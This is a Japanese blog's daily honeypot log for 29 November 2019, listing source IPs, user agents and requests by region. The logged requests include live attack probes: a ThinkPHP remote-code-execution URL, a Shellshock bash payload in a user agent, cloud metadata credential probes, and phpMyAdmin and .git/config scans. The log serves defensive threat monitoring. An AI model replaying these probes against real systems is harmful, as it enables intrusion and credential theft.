コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2019/11/29 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2019/11/29分です。

特徴
Region：AP

Shenzhen TVT製品の脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
phpMyAdminに対するスキャン行為
18[.]179[.]20[.]5に関する不正通信
を確認しました。

Region：US

ThinkPHPの脆弱性を狙うアクセス
5[.]188[.]210[.]101に関する不正通信
を確認しました。

Region：EU

Shellshock(CVE-2014-7169)脆弱性を狙うアクセス
Shenzhen TVT製品の脆弱性を狙うアクセス
を確認しました。

他
アクセス数推移

AP：総アクセス数：114 (前日比：-46)
US：総アクセス数：21 (前日比：-195)
EU：総アクセス数：25 (前日比：+7)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Region：AP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
9 106.52.135.15 China
8 117.157.15.27 China
8 119.29.135.42 China
9 129.146.8.97 United States
9 129.213.20.205 United States
1 149.210.32.104 Greece
1 157.230.216.203 United States
1 177.155.36.116 Brazil
1 177.155.36.239 Brazil
1 193.188.22.76 Russia
9 193.70.42.228 France
9 23.95.214.188 United States
1 35.244.122.151 United States
9 39.106.116.145 China
1 41.216.186.89 South Africa
17 44.224.22.196 United States
17 44.225.84.206 United States
1 54.160.60.18 United States
1 60.191.66.222 China
1 88.132.4.73 Hungary

UserAgent一覧

件数 UserAgent
26 -
1 ApiTool
14 AWS Security Scanner
1 Cloud mapping experiment. Contact research@pdrlabs.net
1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
54 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
16 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)

リクエスト内容一覧

件数 Method Request Protocol
10 CONNECT 18[.]179[.]20[.]5:80 HTTP/1.0
1 GET /clientaccesspolicy.xml HTTP/1.1
2 GET /elrekt.php HTTP/1.1
2 GET /html/public/index.php HTTP/1.1
2 GET http://169[.]254[.]169[.]254/ HTTP/1.1
2 GET http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document HTTP/1.1
2 GET http://example[.]com/ HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/ HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document HTTP/1.1
6 GET /imp/test.php HTTP/1.1
2 GET /index.php HTTP/1.1
4 GET /latest/dynamic/instance-identity/document HTTP/1.1
1 GET /manager/html HTTP/1.1
6 GET /myadmin/scripts/setup.php HTTP/1.1
6 GET /MyAdmin/scripts/setup.php HTTP/1.1
6 GET /mysql/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin/ HTTP/1.1
6 GET /_phpmyadmin/scripts/setup.php HTTP/1.1
6 GET /phpmyadmin/scripts/_setup.php HTTP/1.1
6 GET /phpmyadmin/setup.php HTTP/1.1
6 GET /pma/scripts/setup.php HTTP/1.1
2 GET /public/index.php HTTP/1.1
1 GET /requested.html HTTP/1.1
6 GET /scripts/setup.php HTTP/1.1
2 GET /thinkphp/html/public/index.php HTTP/1.1
2 GET /TP/html/public/index.php HTTP/1.1
2 GET /TP/index.php HTTP/1.1
2 GET /TP/public/index.php HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST /editBlackAndWhiteList HTTP/1.1
2 POST /editBlackAndWhiteList HTTP/1.1\n
2 \x03
10 \x16\x03\x01
Region:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
10 112.29.140.226 China
1 185.172.110.221 Netherlands
1 193.188.22.76 Russia
1 35.185.50.249 United States
1 35.197.22.238 United States
1 5.188.210.101 Russia
1 61.219.11.153 Taiwan
1 66.175.220.225 United States
1 77.247.109.38 Netherlands
1 93.115.29.59 Republic of Lithuania
2 94.102.49.193 Netherlands

UserAgent一覧

件数 UserAgent
8 -
1 curl/7.29.0
1 Go-http-client/1.1
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)

リクエスト内容一覧

件数 Method Request Protocol
1
1 -
1 GET /elrekt.php HTTP/1.1
1 GET /home HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET http://5[.]188[.]210[.]101/echo.php HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 HEAD / HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
2 OPTIONS / HTTP/1.0
1 POST /index.php?s=captcha HTTP/1.1
1 \x03
Region:EU

送信元IPアドレス一覧

件数 送信元IPアドレス 国
8 134.175.66.149 China
1 185.222.209.77 United Kingdom
1 193.188.22.76 Russia
1 217.219.213.87 Iran
1 34.89.27.107 United States
1 41.216.186.89 South Africa
1 45.141.86.114 Russia
8 47.103.220.74 China
2 50.63.164.78 United States
1 61.219.11.153 Taiwan

UserAgent一覧

件数 UserAgent
6 -
2 () { :;};echo; /bin/bash -c \" echo 2014 | md5sum\
16 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1 python-requests/2.22.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 GET //cgi-bin/test-cgi HTTP/1.1
1 GET //cgi-sys/realsignup.cgi HTTP/1.1
2 GET /elrekt.php HTTP/1.1
1 GET /.git/config HTTP/1.1
2 GET /html/public/index.php HTTP/1.1
2 GET /index.php HTTP/1.1
2 GET /public/index.php HTTP/1.1
2 GET /thinkphp/html/public/index.php HTTP/1.1
2 GET /TP/html/public/index.php HTTP/1.1
2 GET /TP/index.php HTTP/1.1
2 GET /TP/public/index.php HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST /editBlackAndWhiteList HTTP/1.1
3 \x03